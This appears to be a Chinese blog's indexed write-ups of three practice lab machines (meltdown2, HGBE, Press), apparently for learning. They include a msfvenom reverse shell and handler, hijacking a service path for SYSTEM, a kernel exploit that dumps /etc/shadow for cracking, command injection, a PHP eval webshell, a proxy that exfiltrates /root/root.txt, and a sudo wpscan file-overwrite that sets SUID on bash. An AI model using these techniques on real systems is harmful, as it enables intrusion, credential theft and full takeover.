root@kali:~# nmap 192.168.56.115 -p135,139,445,3389,5985,49667,49668 -sC -sV Starting Nmap 7.98 ( https://nmap.org ) at 2026-05-18 23:32 -0400 Nmap scan report for 192.168.56.115 Host is up (0.0053s latency). PORT STATE SERVICE VERSION 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds? 3389/tcp open ms-wbt-server Microsoft Terminal Services |_ssl-date: 2026-05-19T03:33:38+00:00; -1s from scanner time. | ssl-cert: Subject: commonName=meltdown2 | Not valid before: 2026-04-28T08:03:17 |_Not valid after: 2026-10-28T08:03:17 | rdp-ntlm-info: | Target_Name: MELTDOWN2 | NetBIOS_Domain_Name: MELTDOWN2 | NetBIOS_Computer_Name: MELTDOWN2 | DNS_Domain_Name: meltdown2 | DNS_Computer_Name: meltdown2 | Product_Version: 10.0.20348 |_ System_Time: 2026-05-19T03:32:59+00:00 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found 49667/tcp open msrpc Microsoft Windows RPC 49668/tcp open msrpc Microsoft Windows RPC MAC Address: 08:00:27:A0:C9:71 (Oracle VirtualBox virtual NIC) Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: | smb2-security-mode: | 3.1.1: |_ Message signing enabled but not required | smb2-time: | date: 2026-05-19T03:32:59 |_ start_date: N/A |_nbstat: NetBIOS name: MELTDOWN2, NetBIOS user: , NetBIOS MAC: 08:00:27:a0:c9:71 (Oracle VirtualBox virtual NIC) Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 96.18 seconds 核心有用的信息： 445 / tcp smb 服务 5985 / tcp http 服务 WinRM 简单的说说 WinRM 服务 和 SMB 服务： WinRM 服务是默认HTTP通信端口，类似于SSH服务，用于命令行级别的远程管理，默认端口：HTTP 5985 、HTTPS 5986。 SMB 服务 是windows 网络中最基础的文件共享协议，用于主机间的文件共享，445 端口 为现代 windows 默认端口，139 端口 为老旧 NetBIOS 端口，SMBv1 版本极不安全，建议使用SMBv2/3。 root@kali:~# smbclient -L //192.168.56.115 -N Sharename Type Comment --------- ---- ------- ADMIN$ Disk Remote Admin C$ Disk Default share IPC$ IPC Remote IPC Reactor_Blueprint Disk Nuclear Fusion Reactor Core Blueprints Reconnecting with SMB1 for workgroup listing. do_connect: Connection to 192.168.56.115 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND) Unable to connect with SMB1 -- no workgroup available 发现 Reactor_Blueprint文件夹。 root@kali:~# smbclient //192.168.56.115/Reactor_Blueprint -N Try \"help\" to get a list of possible commands. smb: \\\u003e ls . D 0 Wed Apr 29 04:38:33 2026 .. DHS 0 Mon May 18 07:45:45 2026 Blueprint.txt A 618 Wed Apr 29 04:38:33 2026 13106687 blocks of size 4096. 10365769 blocks available smb: \\\u003e get Blueprint.txt getting file \\Blueprint.txt of size 618 as Blueprint.txt (7.0 KiloBytes/sec) (average 7.0 KiloBytes/sec) 发现Blueprint.txt文件，获取Blueprint.txt文件并退出。 查看Blueprint.txt文件： root@kali:~# cat Blueprint.txt ======================================================================== ======================================================================== The ringing in my ears won't fade, won't stop... Allegro agitate. I dreamed the whole world vanished... In the night, my room feels vast And the silence chokes my heart. Unstable core temperature detected in the Nuclear Fusion Reactor. Operator Override Configuration Required to prevent complete Meltdown. Assigned Operator Account: KagamineRin Core Integrity Access Code: AllegroAgitate2026! ======================================================================== 获取了一个登录凭证：KagamineRin:AllegroAgitate2026! ","date":"2026-05-21","heading":"信息收集","objectID":"/p/meltdown2/:1:0","tags":["mazesec","Easy"],"title":"meltdown2 复现学习","uri":"/p/meltdown2/#信息收集"},{"categories":["靶机复盘"],"collections":null,"content":"初始访问 WinRM 服务 root@kali:~# evil-winrm -i 192.168.56.115 -u KagamineRin -p AllegroAgitate2026! Evil-WinRM shell v3.9 Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\\Users\\KagamineRin.MELTDOWN2\\Documents\u003e whoami meltdown2\\kagaminerin ","date":"2026-05-21","heading":"初始访问 WinRM 服务","objectID":"/p/meltdown2/:2:0","tags":["mazesec","Easy"],"title":"meltdown2 复现学习","uri":"/p/meltdown2/#初始访问-winrm-服务"},{"categories":["靶机复盘"],"collections":null,"content":"系统信息枚举 上传winPEASx64.exe文件，进行系统信息枚举： *Evil-WinRM* PS C:\\Users\\KagamineRin.MELTDOWN2\\Documents\u003e .\\winPEASx64.exe KagamineRin 对于 该注册表的服务有绝对控制权，查看该服务注册表项的具体内容： *Evil-WinRM* PS C:\\Users\\KagamineRin.MELTDOWN2\\Documents\u003e reg query \"HKLM\\system\\currentcontrolset\\services\\RoshinYuukai\" /s HKEY_LOCAL_MACHINE\\system\\currentcontrolset\\services\\RoshinYuukai Type REG_DWORD 0x10 Start REG_DWORD 0x3 ErrorControl REG_DWORD 0x1 ImagePath REG_EXPAND_SZ C:\\Users\\KagamineRin.MELTDOWN2\\Documents\\reverse.exe DisplayName REG_SZ Meltdown Core Controller ObjectName REG_SZ LocalSystem HKEY_LOCAL_MACHINE\\system\\currentcontrolset\\services\\RoshinYuukai\\Security reg 是 windows 里用来查询、添加、修改、删除注册表 的命令行工具 /s 递归查询所有子项 ObjectName REG_SZ LocalSystem : 为 服务运行所使用的账户，LocalSystem是非常高权限的本地系统账户。 DisplayName REG_SZ Meltdown Core Controller : 服务在系统里给用户看的名称。 ImagePath REG_EXPAND_SZ C:\\Windows\\System32\\ping.exe 127.0.0.1 -n 9999 : 服务启动时实际执行的命令。 Start REG_DWORD 0x3 : 启动类型 手动启动。 Type REG_DWORD 0x10 : 服务类型 Win32 own process 服务，独立进程型服务。 ","date":"2026-05-21","heading":"系统信息枚举","objectID":"/p/meltdown2/:3:0","tags":["mazesec","Easy"],"title":"meltdown2 复现学习","uri":"/p/meltdown2/#系统信息枚举"},{"categories":["靶机复盘"],"collections":null,"content":"权限提升 msfvenom -p windows/x64/meterpreter/reverse_tcp_uuid LHOST=192.168.56.101 -f exe \u003e reverse.exe 生成 reverse.exe 反弹shell脚本，将其上传到靶机上。 修改 HKLM\\system\\currentcontrolset\\services\\RoshinYuukai 启动时要执行的命令。 reg add \"HKLM\\SYSTEM\\CurrentControlSet\\Services\\RoshinYuukai\" /v ImagePath /t REG_EXPAND_SZ /d \"C:\\Users\\KagamineRin.MELTDOWN2\\Documents\\reverse.exe\" /f reg add : 向注册表中添加或修改键值。 /v ImagePath : 指定要操作的键值名称。 /t REG_EXPAND_SZ : 指定键值类型，REG_EXPAND_SZ 表示可展开字符串类型。 /d \u0026quot;C:\\Users\\KagamineRin.MELTDOWN2\\Documents\\reverse.exe\u0026quot; : 指定要写入的数据内容，这是 ImagePath 的 新值。 /f : 强制覆盖。 *Evil-WinRM* PS C:\\Users\\KagamineRin.MELTDOWN2\\Documents\u003e reg query \"HKLM\\system\\currentcontrolset\\services\\RoshinYuukai\" HKEY_LOCAL_MACHINE\\system\\currentcontrolset\\services\\RoshinYuukai Type REG_DWORD 0x10 Start REG_DWORD 0x3 ErrorControl REG_DWORD 0x1 ImagePath REG_EXPAND_SZ C:\\Users\\KagamineRin.MELTDOWN2\\Documents\\reverse.exe DisplayName REG_SZ Meltdown Core Controller ObjectName REG_SZ LocalSystem HKEY_LOCAL_MACHINE\\system\\currentcontrolset\\services\\RoshinYuukai\\Security 服务启动时的命令已经被我们改变。 kali 上打开 msfconsole: msf \u003e use exploit/multi/handler [*] Using configured payload generic/shell_reverse_tcp msf exploit(multi/handler) \u003e set payload windows/x64/meterpreter/reverse_tcp_uuid payload =\u003e windows/x64/meterpreter/reverse_tcp_uuid msf exploit(multi/handler) \u003e show options Payload options (windows/x64/meterpreter/reverse_tcp_uuid): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none) LHOST yes The listen address (an interface may be specified) LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 0 Wildcard Target View the full module info with the info, or info -d command. msf exploit(multi/handler) \u003e set LHOST 192.168.56.101 LHOST =\u003e 192.168.56.101 msf exploit(multi/handler) \u003e run [*] Started reverse TCP handler on 192.168.56.101:4444 # windows 终端 *Evil-WinRM* PS C:\\Users\\KagamineRin.MELTDOWN2\\Documents\u003e sc.exe start \"RoshinYuukai\" [SC] StartService FAILED 1053: The service did not respond to the start or control request in a timely fashion. # 这里的服务不稳定，所以后面我使用了migrate 迁移进程 # kali [*] Sending stage (232006 bytes) to 192.168.56.115 [*] Meterpreter session 1 opened (192.168.56.101:4444 -\u003e 192.168.56.115:49670) at 2026-05-19 02:48:53 -0400 # 这里我 先 ps, 再找了一个权限与我当前用户一致的进程去迁移 meterpreter \u003e migrate 1876 # 这里做了进程迁移，为了使进程更加持久化一些。 [*] Migrating from 2620 to 1876... [*] Migration completed successfully. meterpreter \u003e getuid Server username: NT AUTHORITY\\SYSTEM # 本地最高的权限 meterpreter \u003e shell ","date":"2026-05-21","heading":"权限提升","objectID":"/p/meltdown2/:4:0","tags":["mazesec","Easy"],"title":"meltdown2 复现学习","uri":"/p/meltdown2/#权限提升"},{"categories":["靶机复盘"],"collections":null,"content":"攻击链总结 windows 的 攻击链总结，我还不是很会，这里学习AI的框架： 信息收集：通过smbclient在Reactor_Blueprint获取Blueprint.txt文件内容：KagamineRin:AllegroAgitate2026!。 初始访问：通过KagamineRin:AllegroAgitate2026!登录目标主机的 WinRM服务。 系统信息枚举：上传winPEASx64.exe文件，发现可以控制注册表的HKLM\\SYSTEM\\CurrentControlSet\\Services\\RoshinYuukai服务，并且这个服务以NT AUTHORITY\\SYSTEM身份运行，可以利用这个服务进行提权。 权限提升：kali的msfvenom工具生成一个反向shell文件，并上传，接着修改HKLM\\SYSTEM\\CurrentControlSet\\Services\\RoshinYuukai服务的ImagePath对应的值为我们上传的反向shell文件路径，修改后，在kali机器上使用msfconsole的handler监听4444端口，在windows上运行sc.exe start RoshinYuukai启动服务，获取meterpreter会话后，RoshinYuukai不是真正的服务，很快会挂掉，迁移到指定进程，以提高进程的持久化，getuid为NT AUTHORITY\\SYSTEM，拿shell即可。 ","date":"2026-05-21","heading":"攻击链总结","objectID":"/p/meltdown2/:5:0","tags":["mazesec","Easy"],"title":"meltdown2 复现学习","uri":"/p/meltdown2/#攻击链总结"},{"categories":["靶机复盘"],"collections":null,"content":"mazesec 靶机 HGBE (内核提权的一些手法) 的渗透测试与提权记录","date":"2026-05-20","objectID":"/p/hgbe/","tags":["mazesec","Easy"],"title":"HGBE (内核提权的一些手法)","uri":"/p/hgbe/"},{"categories":["靶机复盘"],"collections":null,"content":"前面的都太简单了，我不想再复现，重点说说后面的内核漏洞提权。 ","date":"2026-05-20","heading":"","objectID":"/p/hgbe/:0:0","tags":["mazesec","Easy"],"title":"HGBE (内核提权的一些手法)","uri":"/p/hgbe/#"},{"categories":["靶机复盘"],"collections":null,"content":"提权 (CVE-2026-46333) 手工判断 Linux 内核 是否存在未修复漏洞 的 命令小清单，这里就以该靶机为例子。 uname -r # 查看正在运行的内核版本 HGBE@Maze:~$ uname -r 7.0.7-1-liquorix-amd64 dpkg -l | grep -Ei 'linux-(image|headers)|liquorix' # 查看对应的内核包 HGBE@Maze:~$ dpkg -l | grep -Ei 'linux-(image|headers)' ii linux-headers-7.0.5-1-liquorix-amd64 7.0-4.1~trixie amd64 Header files for Linux 7.0.5-1-liquorix-amd64 ii linux-headers-7.0.7-1-liquorix-amd64 7.0-7.1~trixie amd64 Header files for Linux 7.0.7-1-liquorix-amd64 ii linux-headers-liquorix-amd64 7.0-7.1~trixie amd64 Linux headers for liquorix on 64-bit PCs ii linux-image-7.0.5-1-liquorix-amd64 7.0-4.1~trixie amd64 Linux 7.0 for 64-bit PCs ii linux-image-7.0.7-1-liquorix-amd64 7.0-7.1~trixie amd64 Linux 7.0 for 64-bit PCs ii linux-image-liquorix-amd64 7.0-7.1~trixie amd64 Linux image for liquorix on 64-bit PCs 该靶机装了两个内核包： linux-image-7.0.5-1-liquorix-amd64 linux-image-7.0.7-1-liquorix-amd64 下面是对应头文件包： linux-headers-7.0.5-1-liquorix-amd64 linux-headers-7.0.7-1-liquorix-amd64 当前正在运行的内核版本：7.0.7-1-liquorix-amd64，所以这里只需要查看linux-image-7.0.7-1-liquorix-amd64： zcat /usr/share/doc/linux-image-$(uname -r)/changelog.* | sed -n '1,120p' # 查看最近更新 HGBE@Maze:~$ zcat /usr/share/doc/linux-image-7.0.7-1-liquorix-amd64/changelog* | sed -n \"1,120p\" linux-liquorix (7.0-7.1~trixie) trixie; urgency=medium * merge v7.0.7 * apply another wake affine optimization for Project-C - sched/alt: Skip wake_affine_idle() sync stack when prev_cpu == this_cpu * update version to 7.0.7-1 -- Steven Barrett Thu, 14 May 2026 10:22:20 -0500 linux-liquorix (7.0-6) unstable; urgency=medium * merge v7.0.6 * update version to 7.0.6-1 -- Steven Barrett Mon, 11 May 2026 12:43:59 -0500 linux-liquorix (7.0-5) unstable; urgency=medium * apply more TTWU optimizations for Project-C - sched/alt: Keep wakee on idle, cache-affine prev_cpu * update version to 7.0.5-2 -- Steven Barrett Fri, 08 May 2026 14:09:46 -0500 linux-liquorix (7.0-4) unstable; urgency=medium * merge v7.0.5 * apply TTWU optimizations for Project-C - sched/alt: Cache LLC size as per-CPU sd_llc_size - sched/alt: Add wake_wide() to gate WF_SYNC affine wakeups - sched/alt: Align wake_wide() placement with mainline * update version to 7.0.5-1 -- Steven Barrett Fri, 08 May 2026 10:32:27 -0500 linux-liquorix (7.0-3) unstable; urgency=medium * add stability fix for Project-C - sched/alt: Fix rseq switch event target * update version to 7.0.4-2 -- Steven Barrett Thu, 07 May 2026 18:00:03 -0500 linux-liquorix (7.0-2) unstable; urgency=medium * merge v7.0.4 * sync lockup and hung task detection config from Zen Kernel * update version to 7.0.4-1 -- Steven Barrett Thu, 07 May 2026 16:15:29 -0500 linux-liquorix (7.0-1) unstable; urgency=medium * switch to v7.0 * merge v7.0.3 * update version to 7.0.3-1 -- Steven Barrett Thu, 07 May 2026 07:16:06 -0500 linux-liquorix (6.19-12) unstable; urgency=medium * backport changes in 7.0.3 - xen/privcmd: fix double free via VMA splitting - Buffer overflow in drivers/xen/sys-hypervisor.c * add patch resolve CVE-2026-31431 - crypto: algif_aead - Revert to operating out-of-place * update version to 6.19.14-2 -- Steven Barrett Thu, 30 Apr 2026 12:49:23 -0500 linux-liquorix (6.19-11) unstable; urgency=medium * merge v6.19.14 * update version to 6.19.14-1 -- Steven Barrett Wed, 22 Apr 2026 13:48:51 -0500 linux-liquorix (6.19-10) unstable; urgency=medium * merge v6.19.13 * sync upstream scheduler changes to Project-C - sched/alt: Mark update_rq_clock() __always_inline to match mainline - sched/alt: Mark wakeup_preempt() __always_inline to match mainline - sched/alt: Mark update_curr() __always_inline to match mainline - sched/alt: Mark sched_rq_next_task() __always_inline to match mainline * update version to 6.19.13-1 -- Steven Barrett Mon, 20 Apr 2026 11:27:26 -0500 linux-liquorix (6.19-9) unstable; urgency=medium * merge v6.19.12 * add dmemcg v6 patch set for low VRAM systems * update version to 6.19.12-1 -- Steven Barrett Wed, 15 Apr 2026 17:02:07 -0500 linux-liquorix (6.19-8) unstable; urgency","date":"2026-05-20","heading":"提权","objectID":"/p/hgbe/:1:0","tags":["mazesec","Easy"],"title":"HGBE (内核提权的一些手法)","uri":"/p/hgbe/#提权-cve-2026-46333"},{"categories":["靶机复盘"],"collections":null,"content":"利用 HGBE@Maze:~$ ls -al total 4196 drwxr-xr-x 5 HGBE HGBE 4096 May 16 20:28 . drwxr-xr-x 6 root root 4096 May 15 22:42 .. drwxrwxr-x 2 HGBE HGBE 4096 May 16 08:40 05pack2theroot drwxrwxr-x 3 HGBE HGBE 4096 May 16 19:11 09key-sign-pwn -rw-rw-r-- 1 HGBE HGBE 80577 May 3 07:54 10000.txt -rw------- 1 HGBE HGBE 3745 May 16 20:32 .bash_history -rw-r--r-- 1 HGBE HGBE 220 May 15 22:38 .bash_logout -rw-r--r-- 1 HGBE HGBE 3526 May 15 22:38 .bashrc -rw-rw-r-- 1 HGBE HGBE 168 May 3 07:55 generate_by_username.sh drwx------ 2 HGBE HGBE 4096 May 16 08:53 .gnupg -rw-rw-r-- 1 HGBE HGBE 0 May 16 08:46 john_passwords.txt -rw------- 1 HGBE HGBE 20 May 16 20:28 .lesshst -rwxrwxr-x 1 HGBE HGBE 1046034 May 3 07:51 lin2026.sh -rw-rw-r-- 1 HGBE HGBE 3605 May 3 07:55 muban.key -rw-r--r-- 1 HGBE HGBE 807 May 15 22:38 .profile -rwxrwxr-x 1 HGBE HGBE 3104768 May 3 07:52 pspy64 -rw-rw-r-- 1 HGBE HGBE 7 May 16 08:37 .python_history -rwxrwxr-x 1 HGBE HGBE 383 May 3 07:52 subrute.sh -rw-r--r-- 1 root root 44 May 15 22:41 user.txt HGBE@Maze:~$ cd 09key-sign-pwn/ HGBE@Maze:~/09key-sign-pwn$ ls -al total 24 drwxrwxr-x 3 HGBE HGBE 4096 May 16 19:11 . drwxr-xr-x 5 HGBE HGBE 4096 May 16 20:28 .. -rw-rw-r-- 1 HGBE HGBE 9764 May 15 17:31 read.c drwxrwxr-x 3 HGBE HGBE 4096 May 16 19:11 ssh-keysign-pwn HGBE@Maze:~/09key-sign-pwn$ cd ssh-keysign-pwn/ HGBE@Maze:~/09key-sign-pwn/ssh-keysign-pwn$ ls -al total 5712 drwxrwxr-x 3 HGBE HGBE 4096 May 16 19:11 . drwxrwxr-x 3 HGBE HGBE 4096 May 16 19:11 .. -rwxrwxr-x 1 HGBE HGBE 779432 May 15 17:25 chage_pwn -rw-rw-r-- 1 HGBE HGBE 1947 May 15 17:24 chage_pwn.c -rw-rw-r-- 1 HGBE HGBE 1634471 May 15 17:24 demo.gif -rw-rw-r-- 1 HGBE HGBE 981675 May 15 17:24 demo.mp4 -rw-rw-r-- 1 HGBE HGBE 814656 May 15 17:25 exploit_vuln_target -rw-rw-r-- 1 HGBE HGBE 1683 May 15 17:24 exploit_vuln_target.c drwxrwxr-x 7 HGBE HGBE 4096 May 16 19:11 .git -rw-rw-r-- 1 HGBE HGBE 61 May 15 17:24 .gitignore -rw-rw-r-- 1 HGBE HGBE 1033 May 16 19:11 index.html -rw-rw-r-- 1 HGBE HGBE 380 May 15 17:25 Makefile -rw-rw-r-- 1 HGBE HGBE 1721 May 15 17:24 README.md -rw-rw-r-- 1 HGBE HGBE 779520 May 15 17:25 sshkeysign_pwn -rw-rw-r-- 1 HGBE HGBE 2458 May 15 17:24 sshkeysign_pwn.c -rw-rw-r-- 1 HGBE HGBE 798808 May 15 17:25 vuln_target -rw-rw-r-- 1 HGBE HGBE 522 May 15 17:24 vuln_target.c HGBE@Maze:~/09key-sign-pwn/ssh-keysign-pwn$ ./chage_pwn root fd 5 -\u003e /etc/shadow (round=42 try=5247) root:$1$ruYlbiCu$mBcGHz1E10Io.PT.JVnml0:20568:0:99999:7::: daemon:*:20568:0:99999:7::: bin:*:20568:0:99999:7::: sys:*:20568:0:99999:7::: sync:*:20568:0:99999:7::: games:*:20568:0:99999:7::: man:*:20568:0:99999:7::: lp:*:20568:0:99999:7::: mail:*:20568:0:99999:7::: news:*:20568:0:99999:7::: uucp:*:20568:0:99999:7::: proxy:*:20568:0:99999:7::: www-data:*:20568:0:99999:7::: backup:*:20568:0:99999:7::: list:*:20568:0:99999:7::: irc:*:20568:0:99999:7::: _apt:*:20568:0:99999:7::: nobody:*:20568:0:99999:7::: systemd-network:!*:20568:::::1: dhcpcd:!:20568:::::: systemd-timesync:!*:20568:::::1: messagebus:!*:20568:::::: sshd:!*:20568:::::: HGBE:$y$j9T$6s8e/tmZzXrU4OrSoRLon0$KZP4gL2mULtpnfaPi5lkgxENm7XsJyxZsFfNiOK8XG0:20589:0:99999:7::: ll104567:$y$j9T$DsJIEsWyKmgsyfagD.NiU/$O2iv6sfA1EaKiBMGd5z2Q1M3nZWX3Uyzr.FkgSQz9G.:20589:0:99999:7::: mono:$y$j9T$UR5AFwviu9GhcPHEyJm8m/$PZX86ZOVLxDHM8qtf4j/D7byiFaEl7g5XrcJGrr54e5:20589:0:99999:7::: lzh:$y$j9T$4Hb4MDqV5X/eYrwX20DG/.$L83CJ2ClORTxjovzJhO9YpSFbTitH.IKJTAc.Q76rEA:20589:0:99999:7::: root:$1$ruYlbiCu$mBcGHz1E10Io.PT.JVnml0:20568:0:99999:7::: 写入到/tmp/123/passwords root@kali:/tmp/123# vim passwords root@kali:/tmp/123# john --wordlist=/usr/share/wordlists/rockyou.txt passwords --format=md5crypt Using default input encoding: UTF-8 Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3]) Will run 2 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status juju01 (root) 1g 0:00:00:02 DONE (2026-05-16 19:24) 0.3367g/s 67296p/s 67296c/s 67296C/s karmann..jrotc1 Use the \"--show\" option to display all of the crack","date":"2026-05-20","heading":"利用","objectID":"/p/hgbe/:2:0","tags":["mazesec","Easy"],"title":"HGBE (内核提权的一些手法)","uri":"/p/hgbe/#利用"},{"categories":["靶机复盘"],"collections":null,"content":"mazesec 靶机 Press 的渗透测试与提权记录","date":"2026-05-16","objectID":"/p/press/","tags":["mazesec","Easy"],"title":"Press","uri":"/p/press/"},{"categories":["靶机复盘"],"collections":null,"content":"信息收集 root@kali:~# nmap 192.168.56.110 -p- Starting Nmap 7.98 ( https://nmap.org ) at 2026-05-15 23:25 -0400 Nmap scan report for 192.168.56.110 Host is up (0.0019s latency). Not shown: 65533 filtered tcp ports (no-response) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http MAC Address: 08:00:27:DD:76:57 (Oracle VirtualBox virtual NIC) Nmap done: 1 IP address (1 host up) scanned in 124.30 seconds root@kali:~# nmap 192.168.56.110 -p 22,80 -A Starting Nmap 7.98 ( https://nmap.org ) at 2026-05-15 23:27 -0400 Nmap scan report for 192.168.56.110 Host is up (0.0026s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 10.0p2 Debian 7+deb13u1 (protocol 2.0) 80/tcp open http Apache httpd 2.4.66 ((Debian)) |_http-title: Apache2 Debian Default Page: It works |_http-server-header: Apache/2.4.66 (Debian) MAC Address: 08:00:27:DD:76:57 (Oracle VirtualBox virtual NIC) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running (JUST GUESSING): Linux 4.X|5.X (87%) OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 Aggressive OS guesses: Linux 4.15 - 5.19 (87%) No exact OS matches for host (test conditions non-ideal). Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 2.61 ms 192.168.56.110 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 18.74 seconds 端口 服务 版本 22/tcp ssh OpenSSH 10.0p2 Debian 7+deb13u1 (protocol 2.0) 80/tcp http Apache httpd 2.4.66 ((Debian)) ","date":"2026-05-16","heading":"信息收集","objectID":"/p/press/:1:0","tags":["mazesec","Easy"],"title":"Press","uri":"/p/press/#信息收集"},{"categories":["靶机复盘"],"collections":null,"content":"80 端口的枚举与分析 http://192.168.56.101/默认页面是apache的默认页面。 root@kali:~# dirsearch -u http://192.168.56.110/ # 扫描 [23:33:21] 200 - 521B - /debug.php [23:34:00] 200 - 21KB - /test.php 是WPScan的扫描器，这里运行的是命令，进行命令拼接： /usr/local/bin/wpscan --url http://127.0.0.1 -e u,vp;ls; 可以执行命令。我当时想弹shell的，正向连接shell和反向连接shell我都试过，都不行，我就猜测它不出网。 ","date":"2026-05-16","heading":"80 端口的枚举与分析","objectID":"/p/press/:2:0","tags":["mazesec","Easy"],"title":"Press","uri":"/p/press/#80-端口的枚举与分析"},{"categories":["靶机复盘"],"collections":null,"content":"漏洞利用 cmd=/usr/local/bin/wpscan --url http://127.0.0.1 -e u,vp;echo \"\u003c?php eval(\\$_POST[1]);?\u003e\" \u003e 1.php; 写一个木马放入1.php，用蚁剑连接成功。 ","date":"2026-05-16","heading":"漏洞利用","objectID":"/p/press/:3:0","tags":["mazesec","Easy"],"title":"Press","uri":"/p/press/#漏洞利用"},{"categories":["靶机复盘"],"collections":null,"content":"系统信息枚举 cat /etc/passwd 发现sky用户。 find / -user sky 2\u003e/dev/null | grep -v proc 访问/opt/code: \u003eb\u003c;:9]~}|{zyxwvutsrqponmlkjihgfedcba`_^]\\[ZYXWVUTSRQPONMLKJIHGFEDCBA@?\u003e=\u003c;: 987SRQ3INGFKJIBAe('\u0026%$#\"!~}|{zyxwvutsrqponmlkjihgfedcba`_^]\\[ZYXWVUTSRQPONML KJIHGFEDCBA@?\u003e=\u003c;:9876543210/.-,+*)('\u0026%$#\"!~}|{zyxwvutsrqponmlkjihgfedcba`_^ ]\\[ZYXWVUTSRQPONMLKJIHGFEDCBA@?\u003e=\u003c;:9876543210/.-,+*)('\u0026%$#\"!~}|{zyxwvutsrqp onmlkjihgfe#cy~w|{zyxqvon4rTj0nmlNdcb(IHGFEDCBA@?\u003e=\u003c;:9876543210/.-,+*)('\u0026%$ #\"!~}|{zyxwvutsrqponml*)i!\u0026%$#\"!x}v\u003c]\\[ZYXWVUTSRQPONMLKJ`_dcba`Y^W\\Uy\u003c;:9876 543210/.-,+*)?DCBA@?\u003e=6;4Xyxwvutsrqponmlkjihgfedcba`_^]\\[ZYXWVUTSRQPONMLKJIH GFEDCBA@?\u003e=\u003c;:9876543210LKJIHGFED=B;:^!~}|{zyxwvutsrqponml*)('\u0026f$#zy~w=^]\\[Z YXWVUTSRQPONMiKaf_^]ba`_X|V[ZYXWPt76543210/.-,+*)('\u0026=\u003c;:981U5u-,+O/o-\u0026J kjihgfedcba`_^]\\[ZYXWVUTSRQPONMLKJIHGFEDCBA@?\u003e=\u003c;:9876543INMLKJIHAFE\u003eb%$@?!7 \u003c;:981Uvutsrq/.-,+*)i'\u0026}Cdcba`_^]\\xwvutsrkji/Pf,MLKJIHGFEDCBA@?\u003e=\u003c;:98765432 10/.-,+*)('\u0026%$#\"!~}|{zyxwvutsrq/.-,+*)('~f${Aba`_^]\\[wYutsrkpohg-edibgf_%p 当时只觉得这是一段无规律的文本，今早上睡起来，发现只有这个文件最可疑，因为我的目标就是横向移动到sky用户。 我把这段文本喂给AI，让他在网上搜索与该文本相似的内容，发现它是：malbolge语言的源码，在网上搜索malbolge在线运行网站:https://malbolge.doleczek.pl/ sky:Da8eag6NxbC1jJ9as8cb ","date":"2026-05-16","heading":"系统信息枚举","objectID":"/p/press/:4:0","tags":["mazesec","Easy"],"title":"Press","uri":"/p/press/#系统信息枚举"},{"categories":["靶机复盘"],"collections":null,"content":"初始访问 Linux Press 7.0.5-1-liquorix-amd64 #1 ZEN SMP PREEMPT liquorix 7.0-4.1~trixie (2026-05-08) x86_64 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Fri May 15 21:32:52 2026 from 192.168.56.1 sky@Press:~$ id uid=1000(sky) gid=1000(sky) groups=1000(sky),100(users) sky@Press:~$ sudo -l Matching Defaults entries for sky on Press: env_reset, mail_badpass, secure_path=/usr/local/sbin\\:/usr/local/bin\\:/usr/sbin\\:/usr/bin\\:/sbin\\:/bin, use_pty User sky may run the following commands on Press: (ALL : ALL) NOPASSWD: /usr/local/bin/wpscan sudo -l: 可以以任意用户身份执行wpscan。 wpscan是wordpress的漏洞扫描软件，它会对目标网站发起请求，我的思路是：通过代理，让wpscan把/root/root.txt 外带出来。 # 终端1 sky@Press:~$ ruby3.3 -rsocket -e 's=TCPServer.new(\"127.0.0.1\",8080); loop{c=s.accept; req=[]; while(l=c.gets); l=l.delete(\"\\r\"); req\u003c","date":"2026-05-16","heading":"初始访问","objectID":"/p/press/:5:0","tags":["mazesec","Easy"],"title":"Press","uri":"/p/press/#初始访问"},{"categories":["靶机复盘"],"collections":null,"content":"权限提升 群主的思路：wpscan 具有写入能力，利用wpscan的导出功能将具有$(/tmp/sb/sb)的url以json的格式导出到/usr/local/bin/wpscan中，创建/tmp/sb/sb文件，写入chmod +s bash，运行sudo wpscan，bash -p 就可以获得root权限。说说这里利用json的原因：json的键:值，其中的值和键是双引号覆盖的，双引号在bash中具有特殊意义，不影响$()里命令的执行。 sky@Press:~$ mkdir /tmp/sb sky@Press:~$ cd /tmp/sb/ sky@Press:/tmp/sb$ touch sb sky@Press:/tmp/sb$ echo \"chmod +s /bin/bash\" \u003e sb sky@Press:~$ chmod +x /tmp/sb/sb sky@Press:~$ sudo wpscan --url 'http://sb$(/tmp/sb/sb)' -f json -o /usr/local/bin/wpscan sky@Press:~$ sudo wpscan sky@Press:~$ ls -al /usr/bin/bash -rwsr-sr-x 1 root root 1298416 Mar 8 11:21 /usr/bin/bash sky@Press:~$ bash -p bash-5.2# id uid=1000(sky) gid=1000(sky) euid=0(root) egid=0(root) groups=0(root),100(users),1000(sky) bash-5.2# cat /root/* GCmCXMjINR1Puj9holpl flag{root-861019fa99fb86e5955f743036202ce8} 利用的思路对我来说，还是很新奇的。wpscan 这个命令到这里已经被毁掉了。 